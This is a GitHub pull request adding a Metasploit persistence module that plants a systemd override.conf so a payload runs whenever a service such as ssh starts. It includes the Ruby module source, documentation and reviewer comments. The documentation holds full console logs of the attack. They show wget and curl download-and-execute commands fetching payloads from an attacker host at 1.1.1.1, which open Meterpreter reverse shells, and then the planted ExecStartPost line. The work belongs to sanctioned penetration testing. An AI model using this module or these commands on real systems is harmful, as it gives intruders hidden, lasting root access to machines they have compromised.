Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,160 @@
## Vulnerable Application

This module will create an override.conf file for a SystemD service on the box.
The ExecStartPost hook is used to launch the payload after the service is started.
We need enough access (typically root) to write in the /etc/systemd/system
directory and potentially restart services.

Verified on Ubuntu 22.04


## Verification Steps

1. Exploit a box and get a shell
2. `use exploit/linux/persistence/init_systemd_override`
3. `set SESSION <id>`
4. `exploit`

## Options

### SERVICE

Which service to override. Defaults to `ssh`.

### ReloadService

If set to `true` (default), runs `systemctl restart` to restart the service.

## Scenarios

### Ubuntu 22.04

Initial (root) access

```
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4446
[*] Using URL: http://1.1.1.1:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO 1k6smMWF --no-check-certificate http://1.1.1.1:8082/l; chmod +x 1k6smMWF; ./1k6smMWF& disown
msf exploit(multi/script/web_delivery) >
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:42996) at 2025-09-11 17:18:18 -0400

msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : 2.2.2.2
OS : Ubuntu 22.04 (Linux 5.15.0-48-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
meterpreter > background
[*] Backgrounding session 1...
```

Persistence (utilizing a manual restart)

```
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd_override
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/persistence/init_systemd_override) > set session 1
session => 1
msf exploit(linux/persistence/init_systemd_override) > set ReloadService false
ReloadService => false
msf exploit(linux/persistence/init_systemd_override) > exploit
[*] Command to run on remote host: curl -so ./vYKBsdwwFTy http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./vYKBsdwwFTy;./vYKBsdwwFTy&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /t70WmtC4mNeBieRpZqn09Q
[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(linux/persistence/init_systemd_override) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[*] Creating /etc/systemd/system/ssh.service.d
[*] Writing override file to: /etc/systemd/system/ssh.service.d/override.conf
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc

msf exploit(linux/persistence/init_systemd_override) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 2862 created.
Channel 6 created.
systemctl restart ssh
[*] Client 2.2.2.2 requested /t70WmtC4mNeBieRpZqn09Q
[*] Sending payload to 2.2.2.2 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:54688) at 2025-09-11 17:19:27 -0400

```

Evidence of compromise in systemctl

```
systemctl status ssh
* ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled)
Drop-In: /etc/systemd/system/ssh.service.d
`-override.conf
Active: active (running) since Thu 2025-09-11 21:19:26 UTC; 15s ago
Docs: man:sshd(8)
man:sshd_config(5)
Process: 2864 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
Process: 2867 ExecStartPost=/bin/sh -c curl -so ./vYKBsdwwFTy http://1.1.1.1:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./vYKBsdwwFTy;./vYKBsdwwFTy& (code=exited, status=0/SUCCESS)
Main PID: 2866 (sshd)
Tasks: 2 (limit: 3444)
Memory: 5.7M
CPU: 125ms
CGroup: /system.slice/ssh.service
|-2866 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
`-2870 ./vYKBsdwwFTy

Sep 11 21:19:26 ubuntu2204 systemd[1]: Starting OpenBSD Secure Shell server...
Sep 11 21:19:26 ubuntu2204 sshd[2866]: Server listening on 0.0.0.0 port 22.
Sep 11 21:19:26 ubuntu2204 sshd[2866]: Server listening on :: port 22.
Sep 11 21:19:26 ubuntu2204 systemd[1]: Started OpenBSD Secure Shell server.
```

Cleanup

```
meterpreter > run /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc
[*] Processing /root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc for ERB directives.
resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> rm /etc/systemd/system/ssh.service.d/override.conf
resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> execute -f /bin/systemctl -a "daemon-reload"
Process 2914 created.
resource (/root/.msf4/logs/persistence/2.2.2.2_20250911.1859/2.2.2.2_20250911.1859.rc)> execute -f /bin/systemctl -a "restart ssh.service"
Process 2915 created.
```
155 changes: 155 additions & 0 deletions modules/exploits/linux/persistence/init_systemd_override.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,155 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Service SystemD override.conf Persistence',
'Description' => %q{
This module will create an override.conf file for a SystemD service on the box.
The ExecStartPost hook is used to launch the payload after the service is started.
We need enough access (typically root) to write in the /etc/systemd/system
directory and potentially restart services.
Verified on Ubuntu 22.04
},
'License' => MSF_LICENSE,
'Author' => [
'h00die',
],
'Platform' => ['unix', 'linux'],
'Privileged' => true,
'Targets' => [
['systemd', {}],
['systemd user', {}]
],
'DefaultTarget' => 0,
'Arch' => [
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You may want to check out other arches like MIPS64 and PPC64

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

good point. this list is synced across the non-windows persistence modules, so I think it'll be easier to just do one update and get them all at once. Maybe open a new issue and assign it to me to do that and i'll get to it when the rest of these are landed.

ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'References' => [
['URL', 'https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html'],
['URL', 'https://askubuntu.com/a/659268'],
['URL', 'https://wiki.archlinux.org/title/Systemd'], # section 2.3.2 Drop-in files
['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]
],
'SessionTypes' => ['shell', 'meterpreter'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
},
'DisclosureDate' => '2010-03-30' # systemd release date
)
)

register_options(
[
OptString.new('SERVICE', [true, 'Service to override (e.g., sshd)', 'ssh']),
]
)
register_advanced_options(
[
OptBool.new('ReloadService', [true, 'Reload the service', true])
]
)
end

def check
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This seems like a non-issue for ARCH_CMD payloads?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

On second thought, the check method may not be the best place for this. I feel like the check method should only verify a vulnerability exists.
Checking for the /tmp option should probably be done outside the check method, as that's a module setting?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This seems like a non-issue for ARCH_CMD payloads?

correct, however this has been discussed a few times (@dledda-r7 can provide info) and the potential solution was #20497 (review), however, payload isn't initialized in the check method so it will error out. Another module with another r7 reviewer on one of the persistence modules had this issue (can't seem to find it right now).
However, its still a valid warning, if you delayed starting the service and the host was rebooted, when the service came back up your payload would be gone.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

On second thought, the check method may not be the best place for this. I feel like the check method should only verify a vulnerability exists. Checking for the /tmp option should probably be done outside the check method, as that's a module setting?

I think the check method is the right place. If we move it to exploit the user will get the warning, then have like <5seconds to read it, interpreter it, and job -k #. That is VERY unlikely to happen in time, and w/o things being written to the system. So I think check is the right place, especially because its a warning and not a fail and the risk can be evaluated by the user.


root_dir = '/lib/systemd/system/'
service_file = "#{root_dir}#{datastore['SERVICE']}.service"

return CheckCode::Safe("Service #{datastore['SERVICE']} doesnt exist in #{root_dir}") unless exists?(service_file)

service_root_dir = '/etc/systemd/system/'
service_dir = "#{service_root_dir}#{datastore['SERVICE']}.service.d"
override_conf = "#{service_dir}/override.conf"

if directory?(service_dir)
return CheckCode::Safe("No write access to #{override_conf}") if exists?(override_conf) && !writable?(override_conf)
return CheckCode::Safe("No write access to #{service_dir}") if !exists?(override_conf) && !writable?(service_dir)
else
return CheckCode::Safe("No write access to #{service_root_dir}") unless writable?(service_root_dir)
end

CheckCode::Appears("#{writable_dir} is writable and system is systemd based")
end

def install_persistence
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')

service_dir = "/etc/systemd/system/#{datastore['SERVICE']}.service.d"
override_conf = "#{service_dir}/override.conf"

unless exists?(service_dir)
vprint_status("Creating #{service_dir}")
cmd_exec("mkdir -p '#{service_dir}'") # don't use mkdir because it does a register_dir_for_cleanup that we don't want, or it ruins persistence
Copy link
Contributor

@bwatters-r7 bwatters-r7 Sep 18, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This will fail if there's an errant tik or space, so we are avoiding cmd_exec. Check out the new create_process where we separate the args as an array: https://github.com/rapid7/metasploit-framework/blob/05273263c9b5723dc591f81e18b204a2cbd078d6/test/modules/post/test/cmd_exec.rb#L219C16-L219C109

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is a copy of what happens with the library, so its arguably no worse than mkdir with a shell. https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/post/file.rb#L132

end

if exists?(override_conf)
conf = read_file(override_conf)
backup_conf_path = store_loot(override_conf, 'text/plain', session, conf, 'override.conf', "#{datastore['SERVICE']} override.conf backup")
vprint_status("Backup copy of #{override_conf} stored to: #{backup_conf_path}")
@clean_up_rc << "upload #{backup_conf_path} #{override_conf}\n"
else
@clean_up_rc << "rm #{override_conf}\n"
end

if payload.arch.first == 'cmd'
p_load = payload.encoded
p_load = ' &' unless p_load.end_with?('&')
contents = <<~OVERRIDE
[Service]
ExecStartPost=/bin/sh -c '#{p_load}'
OVERRIDE
else
payload_path = writable_dir
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
payload_path << payload_name
print_status("Uploading payload file to #{payload_path}")
upload_and_chmodx payload_path, generate_payload_exe
contents = <<~OVERRIDE
[Service]
ExecStartPost=/bin/sh -c '#{payload_path} &'
OVERRIDE
end

vprint_status("Writing override file to: #{override_conf}")
write_file(override_conf, contents)

# This was taken from pam_systemd(8)
systemd_socket_id = cmd_exec('id -u')
systemd_socket_dir = "/run/user/#{systemd_socket_id}"
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl daemon-reload")
@clean_up_rc << 'execute -f /bin/systemctl -a "daemon-reload"'
@clean_up_rc << "execute -f /bin/systemctl -a \"restart #{datastore['SERVICE']}.service\""

if datastore['ReloadService']
vprint_status("Reloading #{datastore['SERVICE']} service")
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same as above for cmd_exec


end
end
end